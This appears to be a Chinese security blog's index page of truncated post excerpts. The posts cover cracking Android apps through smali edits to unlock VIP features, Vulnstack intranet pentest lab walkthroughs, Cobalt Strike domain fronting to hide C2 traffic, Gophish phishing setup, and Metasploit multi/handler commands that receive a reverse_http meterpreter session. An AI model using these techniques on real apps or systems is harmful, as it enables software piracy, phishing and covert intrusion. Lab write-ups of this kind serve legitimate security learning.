003第三节.初识smali,vip终结者
课程目标
了解JVM、Dalvik、ART
初识smali语法
实战修改smali
使用到的工具
教程Demo(更新)
MT管理器/NP管理器
雷电模拟器
jadx-gui
核心破解
安装核心破解,会出现这种弹窗
点进去然后启用页面选择系统框架,之后退出重启模拟器
记得勾选如下内容
学习内容什么是JVM、Dalvik、ARTJVM是JAVA虚拟机,运行JAVA字节码程序
Dalvik是Google专门为Android设计的一个虚拟机,Dalvik有专属的文件执行格式dex(Dalvik executable)
Art(Android Runtime)相当于Dalvik的升级版,本质与Dalvik无异
smali及其语法smali是Dalvik的寄存器语言,smali代码是dex反编译而来的。
关键字
名称
注释
.class
类名
.super
父类名,继承的上级类名名称
.source
源名
.field
变量
.method
方法名
.register
寄存器
.end method
方法名的结束
public
公有
p ...
RSA数字签名 及 数字证书 原理
在学习安卓逆向过程中,修改了apk文件后遇到有”签名不一致”不能直接安装的情况,就去B站回顾了一下数字签名原理以及数字证书的不可伪造性,下文便是这次学习的一个小记录📝
免得之后忘了又要重新看一遍视频QAQ
RSA数字签名RSA算法可以总结为四句话:公钥加密、私钥解密、私钥签名、公钥验签。加密是防止信息泄露,而签名是为了防止信息被篡改。
RSA数字签名场景如下图
生成密钥对:小明利用RSA算法生成公钥和私钥。
生成公钥和私钥过程如下:
选择两个大质数 p 和 q,计算 n = p * q,然后计算欧拉函数 φ(n) = (p-1)(q-1)。接下来,选择一个整数 e,使得 e 和 φ(n) 互质。最后,计算出 d,使得 e * d ≡ 1 (mod φ(n))。公钥为 (e, n),私钥为 (d, n)
生成消息摘要:在对文件进行签名前,要先对文件进行hash处理,生成固定长度的消息摘要H
对消息摘要进行签名:使用私钥(d, n)对消息进行签名。H^d mod n≡S,至此完成了对文件的数字签名
发布:将公钥(e, n)、文件、数字签名S,发布到互联网
验证签名: ...
002第二节.初识APK文件结构、双开、汉化、基础修改
课程目标
了解APK文件结构
双开APK,简单了解原理
汉化APK
简单修改APK名字、图标
使用到的工具
教程Demo
MT管理器/NP管理器
开发者助手
雷电模拟器
注意:使用NP管理器需要断网,因为联网后要强制更新,更新后有些功能要登陆才能使用
学习内容APK结构apk 全称 Android Package,它相当于一个压缩文件,只要在电脑上将apk后缀改为zip即可解压。
文件
注释
assets目录
存放APK的静态资源文件,比如视频,音频,图片等
lib 目录
armeabi-v7a基本通用所有android设备,arm64-v8a只适用于64位的android设备,x86常见用于android模拟器,其目录下的.so文件是c或c++编译的动态链接库文件
META-INF目录
保存应用的签名信息,签名信息可以验证APK文件的完整性,相当于APK的身份证(验证文件是否又被修改)
res目录
res目录存放资源文件,包括图片,字符串等等,APK的脸蛋(UI)由他的layout文件设计
AndroidMainfest.xml文件
APK的应用清单信 ...
001第一节.模拟器环境搭建
什么是安卓逆向安卓逆向是指对已经打包好的安卓应用程序进行反编译、源码分析,以了解应用程序的内部工作原理,获取应用程序的敏感信息,或者修改应用程序的行为。这是一门技术,可以帮助开发人员更好地了解应用程序的实现逻辑,以便更好地保护应用程序的安全性。
安卓逆向可以干嘛去更新去广告内购/会员破解协议自动签到白嫖!!!😆
学习内容Magisk介绍
Magisk 是一套用于定制 Android 的开源软件,支持高于 Android 5.0 的设备。
以下是一些功能亮点:
MagiskSU:为应用程序提供 root 访问权限
Magisk 模块:通过安装模块修改只读分区
MagiskHide:从根检测 / 系统完整性检查中隐藏 Magisk(Shamiko)
MagiskBoot : 最完整的安卓启动镜像解包和重新打包工具
环境搭建参考:适用于几乎所有安卓模拟器(7+)安装magisk的教程-简单无脑向
到官网下载9.0模拟器,并安装
开启ROOT权限,
开启磁盘共享可写入
开启后重启模拟器
安装magisk
安装好后重启模拟器
重启后再打开Magisk进行一些设置
在Magis ...
Vulnstack4靶场内网渗透
环境搭建
机器密码
web(Ubuntu):ubuntu:ubuntu
域成员账号:douser:Dotest123
域管账号:administrator:Test2022
这里域管密码我改了,因为原来的密码过期了,后面mimikatz抓不到密码
需要添加一张192.168.183.0/24网段的内网网卡
若是kali用的Nat模式这里不要勾选“将主机虚拟适配器连接到此网络”,若是桥接模式则勾选
ubuntu这台web服务器利用docker开启web服务
12345678910# 启动docke容器cd /home/ubuntu/Desktop/vulhub/struts2/s2-045sudo docker-compose up -dcd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/sudo docker-compose up -dcd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/sudo docker-compose up -d# 查看运行的docker容 ...
Vulnstack3靶场内网渗透
环境搭建需要添加一张192.168.93.0/24网段的内网网卡
若是kali用的Nat模式这里不要勾选“将主机虚拟适配器连接到此网络”,若是桥接模式则勾选
拓扑图
打靶先用nmap进行探针nmap 192.168.184.0/24
探测到在192.168.184.137地址开有web服务
访问如下,发现是Joomla的CMS
利用msf的auxiliary/scanner/http/joomla_version模块探测Joomla版本,发现是3.9.12版本的
这就有点棘手了,因为版本很新,网上都是3.4、3.5之类的漏洞,看来是没法直接用,于是去找登录点看看有没有弱口令
有两处登录点,一个是前台http://192.168.184.137/index.php/author-login
另一个是后台http://192.168.184.137/administrator/index.php(robots.txt中找到的路径)
但是都不存在弱口令,呜呜😭
没辙了等着爆破密码,摆烂了一会儿
这个靶场是和小伙伴一起打的,在我摆烂的时候,小伙伴用dirsearch扫了一下目录,扫 ...
CS流量隐藏-域前置技术
什么是域前置Domain Fronting,中文译名 “域前置” 或 “域名前置”,是一种用于隐藏真实C2(Command and Control)服务器IP且同时能伪装为与高信誉域名通信的技术,多用于木马受控端和控制端之间的隐蔽通信。
利用该技术,可以让受控端以为程序是在和一个高信誉域名通信,但实际上却是在和我们的C2服务器进行通信
其他知识–域名解析记录类型1、A (Address) 记录是用来指定主机名(或域名)对应的IP地址记录。用户可以将该域名下的网站服务器指向到自己的web server上。同时也可以设置您域名的二级域名。
2、别名(CNAME)记录也被称为规范名字。这种记录允许您将多个名字映射到同一台计算机。 通常用于同时提供WWW和MAIL服务的计算机。例如,有一台计算机名为“host.mydomain.com”(A记录)。 它同时提供WWW和MAIL服务,为了便于用户访问服务。可以为该计算机设置两个别名(CNAME):WWW和MAIL。 这两个别名的全称就是“www.mydomain.com”和“mail.mydomain.com”。实际上他们都指向“host.my ...
Vulnstack2靶场内网渗透
描述本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。关于靶场统一登录密码:1qaz@WSX
Bypass UAC
Windows系统NTLM获取(理论知识:Windows认证)
Access Token利用(MSSQL利用)
WMI利用
网页代理,二层代理,特殊协议代理(DNS,ICMP)
域内信息收集
域漏洞利用:SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用
域凭证收集
后门技术(黄金票据/白银票据/Sid History/MOF)
环境说明内网网段:10.10.10.1/24
防火墙策略(策略设置过后,测试机只能访问192段地址,模拟公网访问):
12deny all tcp ports:10.10.10.1allow all tcp ports:10.10.10.0/24
配置信息DC
IP:10.10.10.10
OS:Windows 2012(6 ...
钓鱼浅尝
原计划是学java的,但写这篇文章的前一天,看了一部叫whoami黑客电影,感觉顶级黑客都是社工大佬,有很多经典台词:
“只要敢做就能赢”,
“黑客技术就像魔术,处处充满了欺骗”,
“每个人都只看到他愿意看到的”,
“外面的世界有太多的不确定,但是人可以成为自己想要成为的人,成为任何人”,
“人类才是系统中最大的漏洞。”
不知不觉中,让我萌生了社工的想法。
加之今天又是愚人节,是个搞事情的好日子🤭
而且更有意思的是今天凌晨我的室友居然收到了钓鱼邮件,还是他认识的人发的,于是请教了一下用的什么来做的钓鱼,便去学了学
Gophish搭建Gophish 是一个功能强大的开源网络钓🐟框架。
1.下载1wget https://github.com/gophish/gophish/releases/download/v0.11.0/gophish-v0.11.0-linux-64bit.zip
2.修改配置文件config.json要注意:
admin_server 把 127.0.0.1 改为 0.0.0.0,然后最好不要使用默 认3333 端口,亲测这个端口可能因为某种人为因素不 ...
MSF和CS联动
CS委派给MSF创建Foreign监听器->MSF监听模块设置对应地址端口->CS执行Spawn选择监听器
首先要创建一个会话,然后将权限反弹出去
1.创建Foreign监听器
“Listeners”“Add”,“Name”填“msf”(可随便填),“Payload”选“Foreign HTTP”,“HTTP Host(Stager)”填msf的IP地址,“HTTP Port(Stager)”自己设定
这个监听器与木马绑定的监听器非同一个监听器
2.MSF监听模块设置对应地址端口
选择监听模块
use exploit/multi/handler
设置payload,注意与CS保持一致
set payload windows/meterpreter/reverse_http
设置地址端口,其中地址可以不设或为0.0.0.0,意为任意地址,或者设为msf的IP地址(与CS保持一致);端口一定要保持一致
set lhost 0.0.0.0
set lport 1234
检查设置
show options
执行
exploit
3.CS执行Spawn选择监听器
选择需 ...